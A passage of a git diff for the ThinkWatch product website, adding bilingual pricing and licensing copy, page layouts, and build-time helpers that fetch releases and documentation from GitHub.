tools/list, and local development, CI, test, staging, or demo traffic.", + }, + ], + }, + fullText: { + title: "Full license text", + body: "This page summarizes the terms. The license files are authoritative.", + links: [ + { label: "ThinkWatch LICENSE", href: links.thinkwatchLicense }, + { label: "LICENSING.md", href: links.licensingMd }, + { label: "ThinkWatch Lite LICENSE", href: links.liteLicense }, + { label: "ThinkWatch Core LICENSE", href: links.coreLicense }, + ], + }, + contact: { + title: "Commercial licensing", + body: "If either free threshold is exceeded, a commercial license must be obtained before continuing production use of ThinkWatch Enterprise.", + label: links.salesLabel, + href: links.sales, + }, + }, + + "zh-CN": { + meta: { + title: "定价 · ThinkWatch", + description: + "ThinkWatch Lite 与 Core 采用 MIT 许可证;企业版采用 BSL 1.1,非生产环境免费,生产环境在每月额度以内免费。", + breadcrumbHome: "首页", + breadcrumbPage: "定价", + }, + hero: { + eyebrow: "许可证与商业授权", + title: "定价", + sub: "ThinkWatch Lite 与 ThinkWatch Core 采用 MIT 许可证。ThinkWatch 企业版在 Business Source License 1.1 下源码开放,生产环境用量在月度阈值以内可免费使用。", + }, + products: [ + { + name: "ThinkWatch Lite", + badge: "MIT", + tone: "teal", + body: "可免费使用、修改和再分发,商业或非商业用途均可。需保留版权声明与许可声明。", + }, + { + name: "ThinkWatch Core", + badge: "MIT", + tone: "teal", + body: "可免费使用、修改和再分发,商业或非商业用途均可。需保留版权声明与许可声明。", + }, + { + name: "ThinkWatch 企业版", + badge: "BSL 1.1", + tone: "amber", + body: "非生产环境免费。生产环境在下方两项月度阈值内免费。超出任一阈值须获取商业授权。", + }, + ], + rules: { + eyebrow: "ThinkWatch 企业版 · Business Source License 1.1", + title: "条款概要", + rows: [ + { term: "非生产环境", rule: "免费使用。" }, + { + term: "生产环境免费使用", + rule: "每个 UTC 自然月内,计费 token 不超过 10,000,000 且 MCP 工具调用不超过 10,000 次,即可免费用于生产环境。", + }, + { + term: "商业授权触发条件", + rule: "超出任一阈值,即需要单独的商业授权。", + }, + { + term: "转为开源", + rule: "每个已发布版本在其 Change Date 或首次公开发布满四周年时(以较早者为准),转为 GPL-2.0-or-later。", + }, + ], + }, + tiers: { + title: "商业授权档位", + sub: "按月度用量计价,不按席位。", + tableLabel: "ThinkWatch 企业版商业授权档位", + scrollHint: "左右滑动查看全部列。", + headers: ["档位", "计费 token / 月", "MCP 工具调用 / 月", "标价"], + rows: [ + { ...tierNumbers[0], price: "免费,属于附加使用授权(Additional Use Grant)" }, + { ...tierNumbers[1], price: "USD 499 / 月" }, + { ...tierNumbers[2], price: "USD 1,999 / 月" }, + { ...tierNumbers[3], price: "USD 6,999 / 月" }, + { + name: "Custom", + tokens: "超过 10,000,000,000", + calls: "超过 10,000,000", + free: false, + price: "定制商业协议", + }, + ], + notes: [ + "档位取两项指标中达到的较高档位。8,000,000 计费 token 加 25,000 次 MCP 工具调用属于 Growth;220,000,000 计费 token 加 80,000 次 MCP 工具调用属于 Scale。", + "嵌入式、OEM 与托管服务类产品,即使用量按月计量,也可能需要定制商业协议。", + ], + }, + counts: { + eyebrow: "计量范围", + volume: "档位依据生产用量(Production Usage Volume)确定,即一个 UTC 自然月内处理的计费 token 总量与 MCP 工具调用总次数。", + counted: "计入", + notCounted: "不计入", + cards: [ + { + title: "计费 token", + counted: + "生产流量处理的全部输入 token 与生成的全部输出 token,同一法律实体运营的所有工作区、团队、环境和客户合并计算。", + notCounted: "本地开发、CI、测试、预发或演示流量,以及不服务于终端用户生产请求的内部评估流量。", + }, + { + title: "MCP 工具调用", + counted: + "经 ThinkWatch 路由的每一次生产环境 MCP 工具调用,无论由真人用户、智能体、自动化还是后台工作流发起,同一法律实体运营的所有工作区、团队、环境和客户合并计算。", + notCounted: "内部健康检查,tools/list 等工具发现与目录刷新操作,以及本地开发、CI、测试、预发或演示流量。", + }, + ], + }, + fullText: { + title: "完整条款", + body: "本页为条款摘要,具体以许可证文件为准。", + links: [ + { label: "ThinkWatch LICENSE", href: links.thinkwatchLicense }, + { label: "LICENSING.md", href: links.licensingMd }, + { label: "ThinkWatch Lite LICENSE", href: links.liteLicense }, + { label: "ThinkWatch Core LICENSE", href: links.coreLicense }, + ], + }, + contact: { + title: "商业授权", + body: "超出任一免费阈值后,继续在生产环境使用 ThinkWatch 企业版之前须获取商业授权。", + label: links.salesLabel, + href: links.sales, + }, + }, +} as const; + +export default pricingCopy; diff --git a/src/i18n/pages/thinkwatch.ts b/src/i18n/pages/thinkwatch.ts new file mode 100644 index 0000000..f4d421a --- /dev/null +++ b/src/i18n/pages/thinkwatch.ts @@ -0,0 +1,60 @@ +// Copy for the /thinkwatch product page (the self-hosted enterprise edition). +// Facts come from the ThinkWatch README; the sections below the hero still +// read their copy from src/i18n/index.ts. + +export const thinkwatchCopy = { + en: { + meta: { + title: "ThinkWatch Enterprise — An AI bastion host for organizations", + description: + "Security, auditing, and governance for every AI API call and MCP tool invocation across an organization, from a single self-hosted control plane.", + }, + hero: { + eyebrow: "ThinkWatch Enterprise · For organizations", + titleA: "An AI bastion host ", + titleHighlight: "for organizations", + sub: "ThinkWatch secures, audits, and governs every AI API call and MCP tool invocation across an organization from a single control plane.", + ctaPrimary: "Deploy ThinkWatch", + ctaSecondary: "Read the docs", + pills: ["Self-hosted", "Docker Compose or Kubernetes"], + license: "BSL 1.1", + versionLabel: "Latest release", + announce: (v: string) => `Enterprise ${v} released`, + mockTitle: "Log explorer", + mockSample: "Sample data", + mockNote: "Users, keys, and models in this panel are illustrative.", + }, + licenseTeaser: { + title: "Free production tier", + body: "BSL 1.1. Free for non-production use, and free in production up to 10,000,000 billable tokens and 10,000 MCP tool calls per month.", + link: "See licensing and tiers", + }, + }, + "zh-CN": { + meta: { + title: "ThinkWatch 企业版 — 面向组织的 AI 堡垒机", + description: + "在一个自托管的统一控制面上,对组织内每一次 AI API 调用和 MCP 工具调用进行安全管控、审计和治理。", + }, + hero: { + eyebrow: "ThinkWatch 企业版 · 面向组织", + titleA: "面向组织的 ", + titleHighlight: "AI 堡垒机", + sub: "在统一控制面上,对组织内的每一次 AI API 调用与 MCP 工具调用进行安全管控、审计与治理。", + ctaPrimary: "部署 ThinkWatch", + ctaSecondary: "阅读文档", + pills: ["自托管", "Docker Compose 或 Kubernetes"], + license: "BSL 1.1", + versionLabel: "最新版本", + announce: (v: string) => `企业版 ${v} 已发布`, + mockTitle: "日志查询", + mockSample: "示例数据", + mockNote: "面板中的用户、密钥和模型仅作示意。", + }, + licenseTeaser: { + title: "生产环境免费额度", + body: "BSL 1.1 许可证。非生产环境免费;生产环境每月不超过 10,000,000 计费 token 且不超过 10,000 次 MCP 工具调用时同样免费。", + link: "查看许可证与分级", + }, + }, +} as const; diff --git a/src/layouts/Base.astro b/src/layouts/Base.astro index f7a699b..0fded76 100644 --- a/src/layouts/Base.astro +++ b/src/layouts/Base.astro @@ -1,49 +1,50 @@ --- import "~/styles/global.css"; import { getLang, t } from "~/i18n"; +import Seo from "~/components/Seo.astro"; +import Fonts from "~/components/Fonts.astro"; +import { ogImageAlt, ogImagePath, type OgCard } from "~/lib/og"; +import type { JsonLd } from "~/lib/structured-data"; const lang = getLang(Astro); const i18n = t(lang); interface Props { - title?: string; - description?: string; - ogImage?: string; - /** Suppress the SoftwareApplication JSON-LD on subpages. */ - noJsonLd?: boolean; + title: string; + description: string; + /** The Open Graph card shared for this page (see src/lib/og.ts); the site card by default */ + ogCard?: OgCard; + /** "article" for documentation pages */ + ogType?: "website" | "article"; + /** For articles: first published and last changed, as ISO timestamps */ + published?: string; + modified?: string; + /** Keep the page out of search results (the 404 page) */ + noindex?: boolean; + /** JSON-LD items describing the page (a product, an article, breadcrumbs). The Organization is added on every page. */ + jsonLd?: JsonLd[]; + /** + * Load Google Analytics. Off for a page whose URL carries data that must stay + * in the browser (the import page keeps an API key in its fragment). + */ + analytics?: boolean; } const { - title = "ThinkWatch — The enterprise-grade secure gateway for AI", - description = "Secure, audit, and govern every AI API call and MCP tool invocation across your organization — from a single control plane.", - ogImage = "/og-image.png", - noJsonLd = false, + title, + description, + ogCard = "home", + ogType = "website", + published, + modified, + noindex = false, + jsonLd = [], + analytics = true, } = Astro.props; -const canonical = new URL(Astro.url.pathname, Astro.site).toString(); +const canonical = noindex ? undefined : new URL(Astro.url.pathname, Astro.site).toString(); -const jsonLd = { - "@context": "https://schema.org", - "@type": "SoftwareApplication", - name: "ThinkWatch", - applicationCategory: "DeveloperApplication", - operatingSystem: "Linux, macOS, Windows (via Docker / Kubernetes)", - description, - url: "https://thinkwat.ch", - downloadUrl: "https://github.com/ThinkWatchProject/ThinkWatch", - softwareVersion: "0.1.0", - license: "https://github.com/ThinkWatchProject/ThinkWatch/blob/main/LICENSE", - offers: { - "@type": "Offer", - price: "0", - priceCurrency: "USD", - }, - author: { - "@type": "Organization", - name: "ThinkWatch Project", - url: "https://github.com/ThinkWatchProject", - }, -}; +const GA_ID = "G-R8LX8NCHCJ"; --- @@ -53,6 +54,8 @@ const jsonLd = { + + - - - - - - - - - - - - - - - {!noJsonLd && ( - } + {analytics && } []; + /** Shared as an article (a doc) or as a website page (the documentation home) */ + ogType?: "website" | "article"; + /** The Open Graph card; the product's card by default */ + ogCard?: OgCard; + /** For articles: first published and last changed, as ISO timestamps */ + published?: string; + modified?: string; + /** Where the page's text is edited, when not with the product's other docs */ + editUrl?: string; + /** The documentation home: full width, no sidebar or table of contents, search across every product */ + hub?: boolean; +} + +const { + title, + description, + product, + current, + headings = [], + prev, + next, + jsonLd = [], + ogType = "article", + ogCard = docsOgCard[product], + published, + modified, + editUrl, + hub = false, +} = Astro.props; +const lang = getLang(Astro); +const zh = lang === "zh-CN"; +const p = getProduct(product); +const edit = editUrl ?? p.editUrl; +const sidebar = getSidebar(product, lang); +const currentDoc = p.docs.find((d) => d.slug === current); + +const tocLabel = zh ? "本页目录" : "On this page"; +const prevLabel = zh ? "上一篇" : "Previous"; +const nextLabel = zh ? "下一篇" : "Next"; +const productLabel = zh ? "产品" : "Product"; +const searchLabel = zh ? `搜索 ${productName(p, lang)} 文档` : `Search ${productName(p, lang)} docs`; +const pageLabel = currentDoc?.label[lang] ?? title.split(" · ")[0]; +// Title stored in the search index: on a product home "Overview" alone would be ambiguous. +const searchTitle = hub ? title.split(" · ")[0] : current === "" ? productName(p, lang) : pageLabel; + +// Only show H2/H3 in the TOC; hide if there's only the (auto-generated) doc title. +// rehype-autolink-headings appends a literal "#" text node to each heading, +// which Astro picks up as part of the heading text — strip it for display. +const tocHeadings = headings + .filter((h) => h.depth === 2 || h.depth === 3) + .map((h) => ({ ...h, text: h.text.replace(/#+\s*$/, "").trim() })); + +const navLabel = zh ? `${productName(p, lang)} 文档导航` : `${productName(p, lang)} documentation`; +const editLabel = zh ? "在 GitHub 上编辑" : "Edit on GitHub"; +const updated = modified?.slice(0, 10); +const updatedLabel = zh ? `最后更新于 ${updated}` : `Last updated ${updated}`; +--- + + + + +
        + + + + + {!hub && ( +
        +
        + + + +
        +
        + )} + + {hub ? ( +
        + + +
        + ) : ( +
        + +
        + + + + {productName(p, lang)} + · + {pageLabel} + + + +
        + + + {tocHeadings.length > 0 && ( +
        + + +
        + )} + + + {editLabel} + +
        +
        + +
        + + + + + + + + {tocHeadings.length > 0 ? ( + + ) : } +
        +
        + )} +
        + + + + + + + + + + + diff --git a/src/lib/changelog.ts b/src/lib/changelog.ts new file mode 100644 index 0000000..2c94bc7 --- /dev/null +++ b/src/lib/changelog.ts @@ -0,0 +1,82 @@ +// The changelog: every published release of the three products, read from +// GitHub at build time, each with its notes: the ones written for this site +// (the Enterprise releases up to v0.4.0, in src/content/changelog) or else the +// ones published with the release on GitHub (src/lib/release-notes.ts). +import { getCollection, type CollectionEntry } from "astro:content"; +import { getProduct, productName } from "~/content/docs/_meta"; +import type { Lang } from "~/i18n"; +import { getReleases, type Product } from "~/lib/github"; + +export interface ChangelogEntry { + /** Anchor on the changelog page, e.g. "core-v0.47.0" */ + id: string; + /** + * The anchor an Enterprise release had while the page listed Enterprise + * alone, e.g. "v0.4.0". The page keeps it, so that links made back then and + * the feed items published back then still lead to the release. + */ + legacyId?: string; + product: Product; + /** The git tag, e.g. "v0.47.0" */ + tag: string; + date: Date; + /** The release on GitHub, when there is one */ + url?: string; + /** Release notes written for this site */ + notes?: CollectionEntry<"changelog"> | CollectionEntry<"changelog_zh">; + /** Otherwise the notes published with the release on GitHub, in the page's language when they exist in it */ + releaseNotes?: CollectionEntry<"release_notes">; +} + +/** "ThinkWatch Enterprise" / "ThinkWatch 企业版", "ThinkWatch Lite", "ThinkWatch Core" */ +export function releaseProductName(product: Product, lang: Lang): string { + return productName(getProduct(product === "enterprise" ? "thinkwatch" : product), lang); +} + +/** Newest first. Chinese notes where they exist, English otherwise. */ +export async function getChangelog(lang: Lang): Promise { + const notes = new Map(); + for (const entry of await getCollection("changelog")) notes.set(entry.data.version, entry); + if (lang === "zh-CN") { + for (const entry of await getCollection("changelog_zh")) notes.set(entry.data.version, entry); + } + + const published = new Map>(); + for (const entry of await getCollection("release_notes")) { + const key = `${entry.data.product}-${entry.data.tag}`; + if (entry.data.lang === lang || !published.has(key)) published.set(key, entry); + } + + const releases = await getReleases(); + const entries: ChangelogEntry[] = releases.map((r) => { + const enterprise = r.product === "enterprise"; + const version = r.tag.replace(/^v/, ""); + return { + id: `${r.product}-${r.tag}`, + legacyId: enterprise ? `v${version}` : undefined, + product: r.product, + tag: r.tag, + date: new Date(r.date), + url: r.url, + notes: enterprise ? notes.get(version) : undefined, + releaseNotes: published.get(`${r.product}-${r.tag}`), + }; + }); + + // Notes for Enterprise versions that were never published as GitHub releases. + const onGitHub = new Set(releases.filter((r) => r.product === "enterprise").map((r) => r.tag.replace(/^v/, ""))); + for (const [version, entry] of notes) { + if (entry && !onGitHub.has(version)) { + entries.push({ + id: `enterprise-v${version}`, + legacyId: `v${version}`, + product: "enterprise", + tag: `v${version}`, + date: entry.data.date, + notes: entry, + }); + } + } + + return entries.sort((a, b) => b.date.getTime() - a.date.getTime()); +} diff --git a/src/lib/core-docs-loader.ts b/src/lib/core-docs-loader.ts new file mode 100644 index 0000000..a260204 --- /dev/null +++ b/src/lib/core-docs-loader.ts @@ -0,0 +1,73 @@ +// The content collection of the Core documents published from the Core +// repository (see ./core-docs.mjs): one entry per page and language, rendered +// with the site's markdown settings, with links pointed at this site. +// +// Entry ids follow the docs collections ("en/configuration", +// "zh-cn/configuration"), and each entry's filePath is its committed copy, so +// the page is dated like any other doc: by the git history of that file. +import type { Loader, LoaderContext } from "astro/loaders"; +import { + CORE_REPO, + coreDocs, + coreDocsRef, + dropLanguageLink, + fetchCoreDocs, + readSnapshot, + rewriteLinks, + SNAPSHOT_DIR, + snapshotPath, + staleFiles, +} from "./core-docs.mjs"; + +/** A warning in the build log, and on the pull request when the build runs in GitHub Actions */ +function warn(logger: LoaderContext["logger"], text: string) { + logger.warn(text); + if (process.env.GITHUB_ACTIONS === "true") console.log(`::warning title=Core docs::${text}`); +} + +const message = (err: unknown) => (err instanceof Error ? err.message : String(err)); + +export function coreDocsLoader(): Loader { + return { + name: "core-docs", + async load({ store, logger, parseData, renderMarkdown, generateDigest }) { + const snapshot = await readSnapshot(); + let docs: { ref: string; files: Record } = snapshot; + try { + docs = await fetchCoreDocs(await coreDocsRef()); + } catch (err) { + warn(logger, `The Core documents could not be fetched (${message(err)}); the copy in ${SNAPSHOT_DIR} from ${snapshot.ref} is published instead.`); + } + if (docs !== snapshot) { + const stale = staleFiles(snapshot, docs); + if (stale.length) { + warn( + logger, + `The copy of the Core documents in ${SNAPSHOT_DIR} (${snapshot.ref}) differs from ${CORE_REPO} at ${docs.ref} in ${stale.join(", ")}. Run \`pnpm core-docs\` and commit the result.`, + ); + } + logger.info(`Core documents from ${docs.ref}`); + } + + store.clear(); + for (const doc of coreDocs) { + for (const [lang, source] of Object.entries(doc.files)) { + const body = dropLanguageLink(docs.files[source]); + const rendered = await renderMarkdown(body); + rendered.html = rewriteLinks(rendered.html, { ref: docs.ref, source }); + // The glob loader lowercases ids; src/pages/docs/_lib.ts expects "zh-cn/…". + const id = `${lang === "zh-CN" ? "zh-cn" : "en"}/${doc.slug}`; + const data = await parseData({ id, data: { source, ref: docs.ref } }); + store.set({ + id, + data, + body, + rendered, + filePath: snapshotPath(source), + digest: generateDigest(`${docs.ref}\n${body}`), + }); + } + } + }, + }; +} diff --git a/src/lib/core-docs.mjs b/src/lib/core-docs.mjs new file mode 100644 index 0000000..913f1a6 --- /dev/null +++ b/src/lib/core-docs.mjs @@ -0,0 +1,190 @@ +// ThinkWatch Core's configuration reference and server deployment guide are +// written in the Core repository, next to the code they describe (the field +// tables of the configuration reference are generated from it). This site +// publishes them under /docs/core rather than keeping a second copy of the +// text. +// +// At build time the documents are fetched from the latest Core release, so the +// pages describe the twcore that can be downloaded, not unreleased work on +// main. src/data/core-docs holds a committed copy of them, used when GitHub +// cannot be reached; the build warns when that copy no longer matches the +// latest release, and `pnpm core-docs` refreshes it. +// +// Plain JavaScript, so that scripts/update-core-docs.mjs can use it outside the +// site build. The content collection that renders the pages is in +// ./core-docs-loader.ts. +import { createHash } from "node:crypto"; +import { mkdir, readFile, writeFile } from "node:fs/promises"; +import { posix } from "node:path"; +import { githubHeaders, productRepos } from "./releases.mjs"; + +/** @typedef {"en" | "zh-CN"} Lang */ + +export const CORE_REPO = productRepos.core; + +/** + * The Core documents published on this site, by the slug of their page under + * /docs/core. Paths are relative to the root of the Core repository. The + * sidebar entries for these pages are in src/content/docs/_meta.ts. + * + * @type {{ slug: string, files: Record }[]} + */ +export const coreDocs = [ + { slug: "configuration", files: { en: "docs/config.md", "zh-CN": "docs/config.zh-CN.md" } }, + { slug: "server-deployment", files: { en: "docs/server.md", "zh-CN": "docs/server.zh-CN.md" } }, +]; + +/** Every source file, in a fixed order */ +export const coreDocSources = coreDocs.flatMap((doc) => [doc.files.en, doc.files["zh-CN"]]); + +/** The committed copy, relative to the project root */ +export const SNAPSHOT_DIR = "src/data/core-docs"; +const MANIFEST = `${SNAPSHOT_DIR}/manifest.json`; + +/** Where the committed copy of a source file is kept */ +export const snapshotPath = (/** @type {string} */ source) => `${SNAPSHOT_DIR}/${posix.basename(source)}`; + +const TIMEOUT = 15_000; + +/** @param {string} text */ +export const sha256 = (text) => createHash("sha256").update(text).digest("hex"); + +/** + * @typedef {object} CoreDocsSource + * @property {string} ref The tag (or other git ref) the files were taken from + * @property {Record} files Source path → text + */ + +/** + * The ref to publish: CORE_DOCS_REF when set (to preview the documents of + * another tag or of a branch), otherwise the tag of the latest Core release. + * Throws when GitHub cannot be reached. + * + * @returns {Promise} + */ +export async function coreDocsRef() { + const override = typeof process !== "undefined" ? process.env.CORE_DOCS_REF : undefined; + if (override) return override; + const res = await fetch(`https://api.github.com/repos/${CORE_REPO}/releases/latest`, { + headers: githubHeaders(), + signal: AbortSignal.timeout(TIMEOUT), + }); + if (!res.ok) throw new Error(`GitHub answered ${res.status} for the latest release of ${CORE_REPO}`); + /** @type {{ tag_name?: string }} */ + const data = await res.json(); + if (!data.tag_name) throw new Error(`the latest release of ${CORE_REPO} has no tag`); + return data.tag_name; +} + +/** + * The documents as they are at `ref`. Throws unless every file could be + * fetched, so that the pages never mix two versions. + * + * @param {string} ref + * @returns {Promise} + */ +export async function fetchCoreDocs(ref) { + const texts = await Promise.all( + coreDocSources.map(async (path) => { + const res = await fetch(`https://raw.githubusercontent.com/${CORE_REPO}/${ref}/${path}`, { + headers: { "User-Agent": githubHeaders()["User-Agent"] }, + signal: AbortSignal.timeout(TIMEOUT), + }); + if (!res.ok) throw new Error(`${path} at ${ref}: GitHub answered ${res.status}`); + return res.text(); + }), + ); + return { ref, files: Object.fromEntries(coreDocSources.map((path, i) => [path, texts[i]])) }; +} + +/** + * The committed copy, with the hashes its manifest recorded for each file. + * + * @returns {Promise }>} + */ +export async function readSnapshot() { + /** @type {{ ref: string, files: Record }} */ + const manifest = JSON.parse(await readFile(MANIFEST, "utf8")); + /** @type {Record} */ + const files = {}; + for (const path of coreDocSources) files[path] = await readFile(snapshotPath(path), "utf8"); + return { ref: manifest.ref, files, hashes: manifest.files }; +} + +/** + * Replace the committed copy. + * + * @param {CoreDocsSource} docs + */ +export async function writeSnapshot(docs) { + await mkdir(SNAPSHOT_DIR, { recursive: true }); + for (const path of coreDocSources) await writeFile(snapshotPath(path), docs.files[path]); + const manifest = { + repository: CORE_REPO, + ref: docs.ref, + files: Object.fromEntries(coreDocSources.map((path) => [path, sha256(docs.files[path])])), + }; + await writeFile(MANIFEST, `${JSON.stringify(manifest, null, 2)}\n`); +} + +/** + * Files of the committed copy that differ from `docs`, or that were changed by + * hand since they were copied. + * + * @param {CoreDocsSource & { hashes: Record }} snapshot + * @param {CoreDocsSource} docs + * @returns {string[]} + */ +export function staleFiles(snapshot, docs) { + return coreDocSources.filter( + (path) => sha256(docs.files[path]) !== snapshot.hashes[path] || sha256(snapshot.files[path]) !== snapshot.hashes[path], + ); +} + +// ---------- From the repository to this site ---------- + +/** The page on this site that publishes a source file, by its path in the repository */ +const pages = new Map( + coreDocs.flatMap((doc) => + /** @type {[Lang, string][]} */ (Object.entries(doc.files)).map(([lang, path]) => [ + path, + `${lang === "zh-CN" ? "/zh-CN" : ""}/docs/core/${doc.slug}`, + ]), + ), +); + +/** + * A document's first lines link to its translation ("[中文](config.zh-CN.md)"). + * This site switches languages in its header, and a link to the other + * language would be undone by its language redirect, so the line is dropped. + * + * @param {string} markdown + */ +export function dropLanguageLink(markdown) { + return markdown.replace(/^(# [^\n]*\n)[ \t]*\n\[(?:中文|English)\]\([^)\s]+\)[ \t]*\n/, "$1"); +} + +/** + * Point the links of a rendered document at this site: a link to another + * published document goes to its page here, any other file of the repository + * to GitHub at the same ref. Links elsewhere and links within the page are + * left alone. Works on the HTML, where only real links have an href, so that + * code blocks are never touched. + * + * @param {string} html + * @param {{ ref: string, source: string }} from The ref and the document's path in the repository + */ +export function rewriteLinks(html, { ref, source }) { + const base = new URL(`https://repository.invalid/${posix.dirname(source)}/`); + return html.replace(/(\s(href|src)=")([^"]*)(")/g, (all, before, attr, value, after) => { + if (!value || value.startsWith("#") || value.startsWith("//") || /^[a-z][a-z0-9+.-]*:/i.test(value)) return all; + const url = new URL(value.replaceAll("&", "&"), base); + const path = url.pathname.slice(1); + const page = pages.get(decodeURIComponent(path)); + let to; + if (page) to = `${page}${url.hash}`; + else if (attr === "src") to = `https://raw.githubusercontent.com/${CORE_REPO}/${ref}/${path}`; + else to = `https://github.com/${CORE_REPO}/${path.endsWith("/") ? "tree" : "blob"}/${ref}/${path}${url.hash}`; + return `${before}${to}${after}`; + }); +} diff --git a/src/lib/faq.ts b/src/lib/faq.ts new file mode 100644 index 0000000..89f5f2e --- /dev/null +++ b/src/lib/faq.ts @@ -0,0 +1,47 @@ +// FAQPage structured data from a markdown FAQ: each `## ` heading is a question +// and the text up to the next heading is its answer, with the markdown reduced +// to plain text. The page shows the same questions and answers, as the +// structured data requires. + +function plain(markdown: string): string { + return markdown + .replace(/```[\s\S]*?```/g, " ") + .replace(/!\[([^\]]*)\]\([^)]*\)/g, "$1") + .replace(/\[([^\]]+)\]\([^)]*\)/g, "$1") + .replace(/`([^`]+)`/g, "$1") + .replace(/(\*\*|__)(.+?)\1/g, "$2") + .replace(/(^|\s)[*_](\S[^*_]*?)[*_](?=\s|[.,;:!?)]|$)/g, "$1$2") + .replace(/^\s*(?:[-*+]|\d+\.)\s+/gm, "") + .replace(/^\|.*\|\s*$/gm, (row) => row.replace(/\|/g, " ").replace(/\s-{3,}\s/g, " ")) + .replace(/\s+/g, " ") + .trim(); +} + +export function faqPage(body: string, lang: string): Record | null { + const items: { q: string; a: string }[] = []; + let current: { q: string; lines: string[] } | null = null; + for (const line of body.split("\n")) { + const heading = /^##\s+(.+?)\s*$/.exec(line); + if (heading) { + if (current) items.push({ q: current.q, a: plain(current.lines.join("\n")) }); + current = { q: plain(heading[1]), lines: [] }; + } else if (/^#\s/.test(line)) { + continue; + } else if (current) { + current.lines.push(line); + } + } + if (current) items.push({ q: current.q, a: plain(current.lines.join("\n")) }); + const answered = items.filter((i) => i.q && i.a); + if (answered.length === 0) return null; + return { + "@context": "https://schema.org", + "@type": "FAQPage", + inLanguage: lang, + mainEntity: answered.map((i) => ({ + "@type": "Question", + name: i.q, + acceptedAnswer: { "@type": "Answer", text: i.a }, + })), + }; +} diff --git a/src/lib/github.ts b/src/lib/github.ts index 784da5e..8adcc1c 100644 --- a/src/lib/github.ts +++ b/src/lib/github.ts @@ -1,31 +1,33 @@ +import fallbackReleases from "../data/releases.json"; +import { fetchReleases, githubHeaders, productRepos, type Product, type Release } from "./releases.mjs"; + +export type { Product, Release }; + // Cached at module level so all imports during one build share the same fetch. // Falls back to null on failure (rate limit, network, repo missing) so callers // can render a graceful "—" instead of breaking the build. -const REPO = "ThinkWatchProject/ThinkWatch"; +const REPO = productRepos.enterprise; -let cached: number | null | undefined; +const starCache = new Map>(); -export async function getStarCount(): Promise { - if (cached !== undefined) return cached; - try { - const res = await fetch(`https://api.github.com/repos/${REPO}`, { - headers: { - "User-Agent": "thinkwatch-site-build", - Accept: "application/vnd.github+json", - }, - }); - if (!res.ok) { - cached = null; - return null; - } - const data: { stargazers_count?: number } = await res.json(); - cached = typeof data.stargazers_count === "number" ? data.stargazers_count : null; - return cached; - } catch { - cached = null; - return null; +/** A repository's star count, fetched once per build and repository. */ +export function getStarCount(repo: string): Promise { + let cached = starCache.get(repo); + if (!cached) { + cached = (async () => { + try { + const res = await fetch(`https://api.github.com/repos/${repo}`, { headers: githubHeaders() }); + if (!res.ok) return null; + const data: { stargazers_count?: number } = await res.json(); + return typeof data.stargazers_count === "number" ? data.stargazers_count : null; + } catch { + return null; + } + })(); + starCache.set(repo, cached); } + return cached; } export function formatStars(n: number | null): string { @@ -34,3 +36,118 @@ export function formatStars(n: number | null): string { if (n < 10_000) return `${(n / 1000).toFixed(1)}k`; return `${Math.round(n / 1000)}k`; } + +// Latest ThinkWatch release tag (e.g. "v1.0.2"), fetched once per build so the +// site never shows a stale hard-coded version. Uses GITHUB_TOKEN when present +// (CI) to avoid the anonymous rate limit. Returns null on any failure. +let releaseCached: string | null | undefined; + +export async function getLatestRelease(): Promise { + if (releaseCached !== undefined) return releaseCached; + const headers = githubHeaders(); + try { + const res = await fetch(`https://api.github.com/repos/${REPO}/releases/latest`, { headers }); + if (res.ok) { + const data: { tag_name?: string } = await res.json(); + if (typeof data.tag_name === "string" && data.tag_name) { + releaseCached = data.tag_name; + return releaseCached; + } + } + const tags = await fetch(`https://api.github.com/repos/${REPO}/tags?per_page=100`, { headers }); + if (tags.ok) { + const list: { name?: string }[] = await tags.json(); + const versions = list + .map((t) => t.name ?? "") + .filter((n) => /^v\d+\.\d+\.\d+$/.test(n)) + .sort((a, b) => { + const pa = a.slice(1).split(".").map(Number); + const pb = b.slice(1).split(".").map(Number); + return pb[0] - pa[0] || pb[1] - pa[1] || pb[2] - pa[2]; + }); + releaseCached = versions[0] ?? null; + return releaseCached; + } + releaseCached = null; + return null; + } catch { + releaseCached = null; + return null; + } +} + +// The latest release of ThinkWatch Lite or ThinkWatch Core, fetched once per +// build. Asset names carry the version, so download links are taken from the +// release's own asset list rather than built from a pattern. Returns null on +// any failure; the pages then link to the releases page instead and leave the +// version out. +export interface ProductRelease { + tag: string; + /** Asset file name → its download URL */ + assets: Record; + /** Asset file name → its size in bytes */ + sizes: Record; +} + +const latestCache = new Map>(); + +function getLatestProductRelease(repo: string): Promise { + let cached = latestCache.get(repo); + if (!cached) { + cached = (async () => { + try { + const res = await fetch(`https://api.github.com/repos/${repo}/releases/latest`, { headers: githubHeaders() }); + if (!res.ok) return null; + const data: { + tag_name?: string; + assets?: { name?: string; browser_download_url?: string; size?: number }[]; + } = await res.json(); + const assets: Record = {}; + const sizes: Record = {}; + for (const a of data.assets ?? []) { + if (a.name && a.browser_download_url) assets[a.name] = a.browser_download_url; + if (a.name && typeof a.size === "number") sizes[a.name] = a.size; + } + return data.tag_name ? { tag: data.tag_name, assets, sizes } : null; + } catch { + return null; + } + })(); + latestCache.set(repo, cached); + } + return cached; +} + +export const getLatestLiteRelease = () => getLatestProductRelease(productRepos.lite); + +/** + * A download's size as shown next to it, in decimal megabytes ("17.2 MB"), the + * unit Finder and most download pages use. Null in, null out, so a release + * without the file simply shows no size. + */ +export function formatSize(bytes: number | null | undefined): string | null { + if (typeof bytes !== "number") return null; + const mb = bytes / 1_000_000; + return `${mb < 1 ? mb.toFixed(2) : mb < 100 ? mb.toFixed(1) : Math.round(mb)} MB`; +} +export const getLatestCoreRelease = () => getLatestProductRelease(productRepos.core); + +// Every published release of the three products, newest first, for the +// changelog and its feed. A product whose releases cannot be fetched falls back +// to src/data/releases.json (refreshed with `pnpm releases`), so a rate limit or +// an offline build still lists what was known when that file was written. +let releasesCached: Promise | undefined; + +export function getReleases(): Promise { + releasesCached ??= Promise.all( + (Object.keys(productRepos) as Product[]).map((product) => + fetchReleases(product).catch((err: unknown) => { + console.warn( + `[releases] ${err instanceof Error ? err.message : err}; using src/data/releases.json for ${product}`, + ); + return (fallbackReleases as Release[]).filter((r) => r.product === product); + }), + ), + ).then((lists) => lists.flat().sort((a, b) => b.date.localeCompare(a.date))); + return releasesCached; +} diff --git a/src/lib/grid.ts b/src/lib/grid.ts new file mode 100644 index 0000000..e414f0c --- /dev/null +++ b/src/lib/grid.ts @@ -0,0 +1,23 @@ +// Column spans for a card grid that should not leave a lonely last row: three +// cards a row on wide screens and two on medium ones, with the last row's cards +// widened to fill it. The grid itself is `grid-cols-2 lg:grid-cols-6` (the +// medium breakpoint is passed in, since pages differ on it). +// +// The class names are written out in full so that 